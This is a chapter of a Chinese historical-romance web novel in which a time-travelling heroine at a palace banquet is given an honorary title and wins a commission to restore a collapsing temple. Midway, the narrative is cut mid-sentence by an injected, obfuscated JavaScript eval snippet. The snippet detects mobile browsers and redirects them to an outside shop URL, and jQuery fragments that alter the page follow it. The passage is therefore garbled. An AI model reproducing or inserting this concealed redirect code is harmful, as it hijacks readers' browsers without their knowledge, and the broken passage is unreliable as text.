金盘玉盏琉璃盘、秋蟹酒酿桂花香，琴瑟翩舞美人腰，所有美好的事物凑在一起都没能让她为之一笑，反而眼角噙泪，满目惆怅。


    穆随奇怪好端端地怎么就哭起来了。他侧过身子，凑到她脸颊边，轻声问：“这是想家了？”


    叶星澜用手背抹了两下，鼻音微颤：“有一点。”


    她想家，更想妈妈。特别是长公主持杯走向皇后时，皇后那欣慰而关切的神情更像妈妈。皇后轻抚着公主的长发，嘴里不知说了些什么，公主莞尔一笑，坐在皇后身边，脑袋靠在皇后平坦的肩上。多么亲密。


    “妈妈。”叶星澜的嘴唇轻张，不敢发出声。眼泪直流，又怕别人看见，低头咬住嘴唇。仿佛她是被妈妈遗弃的孩子，不得不站得远远的，任由其他孩子抢占本该落在她身上的爱。


    可皇后不是她的妈妈。叶星澜深知，就算再像也不是，因为她的妈妈不会感知不到她的存在。


    丝竹声美妙悦耳，她却觉得呼吸逼仄，随便寻了个名头要暂时离开。等女将她带到空阔而安静的花园后，她放胆蹲在假山后，脸埋进膝盖啜泣起来。


    怕人久等，她快速整理好表情，刚站起身就见穆随朝自己走来。


    他从袖带里拿出一块玄色手帕，上面绣着几根竹节，递给她。


    影视剧里总写将军爱穿黑色是因为隐藏血迹，不想家人担心，可怎么穆随连手帕都是黑的。而且这竹节栩栩如生，看得出来刺绣之人手艺了得。可婶母和岚风都不是手巧的人，这帕子又是谁送与他的？


    她哭过一阵的喉咙闷得说不出话，只听穆随道：“擦擦鼻子。”


    她依言照做，接过帕子放在鼻底用力一擤，黑色帕子上立刻湿了一片。


    藏血迹是真，擦鼻涕过后显得邋遢也是真。叶星澜有些不好意思，忙把手帕攥紧，见他的目光也跟着手帕移动，以为他是鄙夷，忙转移话题道：“出来太久了，赶紧回去吧。”


    穆随应了声，走在她前面。


    两人一同回到座位，老臣们依旧抚须谈笑，举杯互敬；命妇们则低头端坐，少有交谈；皇室宗亲们则纷纷吟诗作对，势必要在皇帝面前出风头，获青睐。


    皇帝兴致颇高，赐下御酒给众人，受赐者需起身致谢。眼看举杯致谢的人即将轮到自己，叶星澜还在组织语言，确保等会儿不会说错话。


    穆随率先起身，她紧随其后，双手捧杯。穆随说什么，她也跟着说什么，仰头啜饮时眼神不敢乱瞟。


    等皇帝露出笑容，将要坐下时，皇帝忽然开口：“穆将军镇守北境，劳苦功高。其夫人更是有勇有谋，于国有功，担得起‘忠慧夫人’的封号，这两个字还是皇后亲自拟的，你可还满意？”


    话落，无数道目光齐刷刷扫向叶星澜，她不由得倒吸一口凉气。


    她在穆随的眼神示意下离席，盈盈一拜，不卑不亢道：“陛下亲赐封号，字字珠玑，于臣妇而言，已是殊荣至极，岂有不满之理？皇后赐‘忠慧’，臣妇必当时刻谨记，记于心，践于行，”


    中规中矩的回话，既不会冒风头，也不会让人挑毛病。


    “甚好。”皇后缓缓笑道，“快些起来吧。”


    叶星澜注视着皇后慈爱的笑容，不觉又出了神，待她反应过来时，皇后冲她招手，叶星澜惶恐一瞬抬脚走去。


    她站在皇后面前，交叠在腿前的双手沁出一层薄汗，不知如何是好。


    皇后似是瞧出她紧张，缓缓起身牵住她的手腕，将人拉近了些，和善的目光缓缓上移，感慨道：“你可知这金蝶花簪是当年我送芳儿的新婚礼。”


    叶星澜轻轻点头。


    昨夜祖母特别说过，皇后与穆随的母亲曾是闺中好友，两人的婚期也是同一天，只是成婚后一个在宫内，一个长居北境，联系甚少，但感情却不见得淡。那年，穆随的母亲遭遇敌袭身亡的消息传回宫中，皇后伤心过度，害了场大病，病痛缠身也坚持到寺庙里为姐妹点了转世灯。


    “她从前总说自己在北境无心打扮，这花簪我也少见她戴。现在戴在你的头上，倒让我心中感动，她未嫁人前，也像你这般文静乖巧。”皇后的眼尾渐渐泛红，叶星澜不知如何示好，旁边的公主小声哼气，“她才不文静乖巧呢。”


    幸得乐师敲响编钟，皇后又忙着思念故人，没听见公主拆台。


    叶星澜也担心这长公主一言不合把她踏足南风阁的事情捅出来，紧忙宽慰了皇后几句，皇后收住眼泪，回握住她的手，亲切道：“夜深了，你去喝些热酒暖暖身子吧。”


    叶星澜点头应了声，顺从地原路返回，坐在自己的位置后盯着自己的手看了许久。


    酒至半酣，内侍们抬上一座精巧的紫檀木雕的屏风，是公主的贺礼。层楼叠榭，玉兔捣药，嫦娥广袖，皆在一方木屏上栩栩如生，引得席间一片赞赏。


    “爱卿观此作，觉得如何？”皇帝含笑看向将作监文大人。文大人忙起身，作揖称赞，无非是“鬼斧神工”“匠心独具”之类的词。


    可皇帝脸上的笑意始终不达眼底，让人捉摸不透。等文大人夸完，皇帝忽然问道：“只是南古寺坍塌一事为何迟迟没有进展？难道工部之人全帮着雕屏风去了？”


    此话一出，众人皆不敢言语，文大人连忙撩袍跪下，干哑的音调颤抖着：“陛下息怒！此事并非臣等怠惰，实为南古寺结构特殊，乃前朝遗留，内部工艺复杂。臣等与工匠商讨数次，所拟方案，拆除大半殿宇不能根治，耗资巨大，且有损风貌，故而......迟迟未敢定夺。”


    “难道要等全塌了，砸坏了佛祖金身，你们才敢定夺？”皇帝冷笑一声。


    典型的外行人看热闹。叶星澜对大人的一番话深感同情。古建筑修复本来就不是三五天能完成的事情，这么大一座寺庙，别说资金人工这些外部条件，要百分百还原建筑结构本身就是一项艰巨的任务。


    文大人还伏在地上不敢作声，此刻席间忽然传出一道轻快爽朗的声音。


    “陛下息怒！臣有一人举荐，或可解此困局。”缓缓走出人群的许修远表情镇定。红衣加身，腰间的黑色腰带倒显得比平常深沉许多。


    许修远并非嫡子，也未有官职，不应出现在席间才对。叶星澜正奇怪，猛然发现众人的视线再次聚焦在自己身上。


    “臣举荐镇北将军夫人晏氏，助文大人完成南山寺修复事宜！”


    不仅文大人愕然抬头，皇帝


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937827|184822||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    脸上也闪过意料之中的讶异，但并未打断。


    许修远看向叶星澜，笑脸盈盈，郑重道：“忠慧夫人深谙木作。臣听闻南古寺久未开展修复工程在于不明其古老结构之理，匠人空有修复之巧，无从下手。臣见识过夫人学识及手艺，丝毫不逊色皇家匠人。有这样学识渊博又独具慧眼的人，或许助文大人一臂之力。”


    “此乃国家工程，岂能儿戏！”文大人跪着，呛声道，“老夫知晓你经营木作店，也知晓夫人曾助百姓辨别木材一事。可将军夫人纵有才名，也是内眷，如何能服众？又如何能与那些粗鄙工匠为伍？”


    “文大人，非常之时，当行非常之法！修复古寺，并非力气大就能完成，更要聪慧巧思。夫人身份尊贵，反能震慑匠人，协调各方。若夫人能拿出可行方案，文大人可心服口服？”


    两人各执一词，而被许修远捧得极高的叶星澜只觉头皮发麻。皇帝命工部寻来几日前绘制的南古寺图例，又让文大人在旁讲解，这么多双眼睛共同见证，如果她能得出解法，那皇帝便破例让她参与修复事宜。


    事情发生到这样境地，昨夜怕是想破脑袋都想不到，叶星澜硬着头皮从文大人手上接过图纸，尽管她捏着图纸的手指隐隐颤抖，周围人不屑和怀疑的声音一阵阵传入耳内，她反倒更坚定要装波大。


    她细看了几分钟，发现结构并不算复杂，只是匠人们只善技艺，对于修复前的分析环节过分薄弱，才会举步维艰。没有计算机辅助，她只能不停问文大人问题，尽可能了解南古寺更多的信息。经过一番记录，白纸早已写满。


    文大人半信半疑地接过纸，凝眸思索，字里行间皆是在对大殿承重、各种情况下的受力和坍塌原因的分析，还写了一堆他看不懂的符号，最后竟然与一个他未曾提起的数字完全吻合，文章末尾还写了几句该如何开展修复最为快捷。


    文大人面露欣喜，一改刚才不屑态度，对着皇帝和叶星澜躬身道：“老身固执己见，险些错失人才。夫人确有真本事者，老身佩服。臣愿以将作监上下之前程担保，恳请陛下予穆夫人一个机会！”


    良久，皇帝终于开口，声音听不出情绪：“传朕旨意，命晏氏即日起参与南古寺修复事宜，有权调阅将作监所有相关古籍，勘验现场。需在一月内，呈报修复方案。将作监上下，需全力配合，不得有误。”


    叶星澜不敢也不想拒绝，这可是大项目，若成了，回去之后都能发SCI，还是一作！


    她起身，同文大人一起叩谢隆恩。


    宫宴结束，许修远再次现身，叶星澜虽然不明白他为什么要举荐自己，心里总归还是感谢他的。她浅浅笑道：“多谢许公子大力举荐，让我得了这个好机会。”


    许修远道：“嫂嫂真有本事，我不过是不忍看人才被隐没罢了。”


    叶星澜刚想借机问问缘由，与文大人交涉完的穆随走到她身边，生生切断二人谈话。


    马车离去后，许修远身边的幕僚悄声问：“公子，若晏氏真做成了这件事......？”


    “她若成了，我便是力排众议的举荐之人，陛下会记得我。”许修远敛起一贯的温柔笑容，“若不成......于我也只有好处。”